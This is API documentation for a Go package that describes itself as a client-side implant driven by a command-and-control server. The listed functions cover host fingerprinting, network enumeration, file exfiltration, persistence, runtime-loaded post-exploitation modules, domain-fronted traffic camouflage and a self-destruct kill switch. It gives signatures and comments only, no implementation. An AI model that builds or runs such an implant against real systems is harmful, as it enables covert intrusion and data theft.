agent

Documentation

Index

• func CheckPrivileges() string
• func EnumerateNetwork(cidr string) []string
• func Fingerprint() string
• func GenerateAgentID() string
• func GetAgentInfo() map[string]interface{}
• func GetFingerprintFromCert(cert *x509.Certificate) string
• func GetFingerprintFromPEM(pemData []byte) (string, error)
• func GetSystemProfile() map[string]interface{}
• func SearchFiles(root, pattern string, maxSize int64, minSize int64) []string
• type Agent
  • func New(serverAddr string) *Agent
  • func (a *Agent) ConnectCamouflaged() error
  • func (a *Agent) ExecDynamicModule(name, args string) *proto.TaskResult
  • func (a *Agent) Run() error
  • func (a *Agent) Stop()
• type CertPinner
  • func NewCertPinner(fingerprint, serverName string) *CertPinner
  • func (cp *CertPinner) DialTLS(addr string) (net.Conn, error)
• type DynamicModule
• type FileExfil
  • func NewFileExfil(agent *Agent, taskID string) *FileExfil
  • func (fe *FileExfil) ExfilFile(filePath string) error
  • func (fe *FileExfil) ExfilPattern(root, pattern string) error
• type KillSwitch
  • func NewKillSwitch() *KillSwitch
  • func (ks *KillSwitch) Check() bool
  • func (ks *KillSwitch) SelfDestruct()
  • func (ks *KillSwitch) SetMaxAge(d time.Duration)
  • func (ks *KillSwitch) SetTriggerFile(path string)
• type Module
• type ModuleRegistry
  • func NewModuleRegistry() *ModuleRegistry
  • func (r *ModuleRegistry) Get(name string) *Module
  • func (r *ModuleRegistry) List() []string
• type PersistenceManager
  • func NewPersistenceManager() *PersistenceManager
  • func (pm *PersistenceManager) Install(name string) ([]string, error)
  • func (pm *PersistenceManager) Remove(name string) error

Functions

func CheckPrivileges

func CheckPrivileges() string

CheckPrivileges determines the current privilege level.

func EnumerateNetwork

func EnumerateNetwork(cidr string) []string

EnumerateNetwork discovers live hosts on the local network.

func Fingerprint

func Fingerprint() string

Fingerprint generates a unique, persistent identifier for the host. Uses hardware-based attributes that survive reboots and reinstalls.

func GenerateAgentID

func GenerateAgentID() string

GenerateAgentID creates a unique, persistent agent ID based on hardware fingerprint.

func GetAgentInfo

func GetAgentInfo() map[string]interface{}

GetAgentInfo returns comprehensive agent information.

func GetFingerprintFromCert

func GetFingerprintFromCert(cert *x509.Certificate) string

GetFingerprintFromCert returns the SHA-256 fingerprint of a certificate. Useful for obtaining the fingerprint to pin.

func GetFingerprintFromPEM

func GetFingerprintFromPEM(pemData []byte) (string, error)

GetFingerprintFromPEM returns the SHA-256 fingerprint of a PEM-encoded certificate.

func GetSystemProfile

func GetSystemProfile() map[string]interface{}

GetSystemProfile returns comprehensive system information for targeting.

func SearchFiles

func SearchFiles(root, pattern string, maxSize int64, minSize int64) []string

SearchFiles searches for files matching criteria.

Types

type Agent

type Agent struct {
	// contains filtered or unexported fields
}

Agent is the client-side implant.

func New

func New(serverAddr string) *Agent

New creates a new agent.

func (*Agent) ConnectCamouflaged

func (a *Agent) ConnectCamouflaged() error

ConnectCamouflaged connects using traffic camouflage (domain fronting, HTTP preamble).

func (*Agent) ExecDynamicModule

func (a *Agent) ExecDynamicModule(name, args string) *proto.TaskResult

ExecDynamicModule executes a dynamically loaded module command.

func (*Agent) Run

func (a *Agent) Run() error

Run starts the agent main loop with reconnection.

func (*Agent) Stop

func (a *Agent) Stop()

Stop signals the agent to stop.

type CertPinner

type CertPinner struct {
	// contains filtered or unexported fields
}

CertPinner handles certificate pinning for TLS connections. Instead of trusting any certificate, it verifies the server's certificate fingerprint matches a pinned value.

func NewCertPinner

func NewCertPinner(fingerprint, serverName string) *CertPinner

NewCertPinner creates a certificate pinner with the given fingerprint. fingerprint should be the SHA-256 hash of the server's certificate in hex format.

func (*CertPinner) DialTLS

func (cp *CertPinner) DialTLS(addr string) (net.Conn, error)

DialTLS connects to the server via TLS and verifies the certificate fingerprint.

type DynamicModule

type DynamicModule struct {
	Name        string
	Version     string
	Platform    string
	Description string
	Type        string // "ps1", "sh", "binary"
	Commands    []string
	Payload     []byte
}

DynamicModule is a module pushed from the C2 at runtime.

type FileExfil

type FileExfil struct {
	// contains filtered or unexported fields
}

FileExfil handles file exfiltration with compression and chunking.

func NewFileExfil

func NewFileExfil(agent *Agent, taskID string) *FileExfil

NewFileExfil creates a new file exfiltration handler.

func (*FileExfil) ExfilFile

func (fe *FileExfil) ExfilFile(filePath string) error

ExfilFile reads and sends a single file.

func (*FileExfil) ExfilPattern

func (fe *FileExfil) ExfilPattern(root, pattern string) error

ExfilPattern searches for files matching a pattern and sends them.

type KillSwitch

type KillSwitch struct {
	// contains filtered or unexported fields
}

KillSwitch provides emergency self-destruct capabilities.

func NewKillSwitch

func NewKillSwitch() *KillSwitch

NewKillSwitch creates a new kill switch handler.

func (*KillSwitch) Check

func (ks *KillSwitch) Check() bool

Check evaluates all kill switch conditions. Returns true if the agent should terminate.

func (*KillSwitch) SelfDestruct

func (ks *KillSwitch) SelfDestruct()

SelfDestruct securely removes the agent from the system.

func (*KillSwitch) SetMaxAge

func (ks *KillSwitch) SetMaxAge(d time.Duration)

SetMaxAge sets the maximum operational age before self-destruct.

func (*KillSwitch) SetTriggerFile

func (ks *KillSwitch) SetTriggerFile(path string)

SetTriggerFile sets a file that, when created, triggers self-destruct.

type Module

type Module struct {
	Name        string
	Description string
	Platform    string // "win", "linux", "darwin", "all"
	Execute     func(args string) string
}

Module represents a dynamically loadable post-exploitation module.

type ModuleRegistry

type ModuleRegistry struct {
	// contains filtered or unexported fields
}

ModuleRegistry holds all available modules.

func NewModuleRegistry

func NewModuleRegistry() *ModuleRegistry

NewModuleRegistry creates the module registry.

func (*ModuleRegistry) Get

func (r *ModuleRegistry) Get(name string) *Module

Get returns a module by name or nil.

func (*ModuleRegistry) List

func (r *ModuleRegistry) List() []string

List returns all module names.

type PersistenceManager

type PersistenceManager struct {
	// contains filtered or unexported fields
}

PersistenceManager handles cross-platform persistence mechanisms.

func NewPersistenceManager

func NewPersistenceManager() *PersistenceManager

NewPersistenceManager creates a new persistence manager.

func (*PersistenceManager) Install

func (pm *PersistenceManager) Install(name string) ([]string, error)

Install establishes persistence using the best available method.

func (*PersistenceManager) Remove

func (pm *PersistenceManager) Remove(name string) error

Remove removes all persistence mechanisms.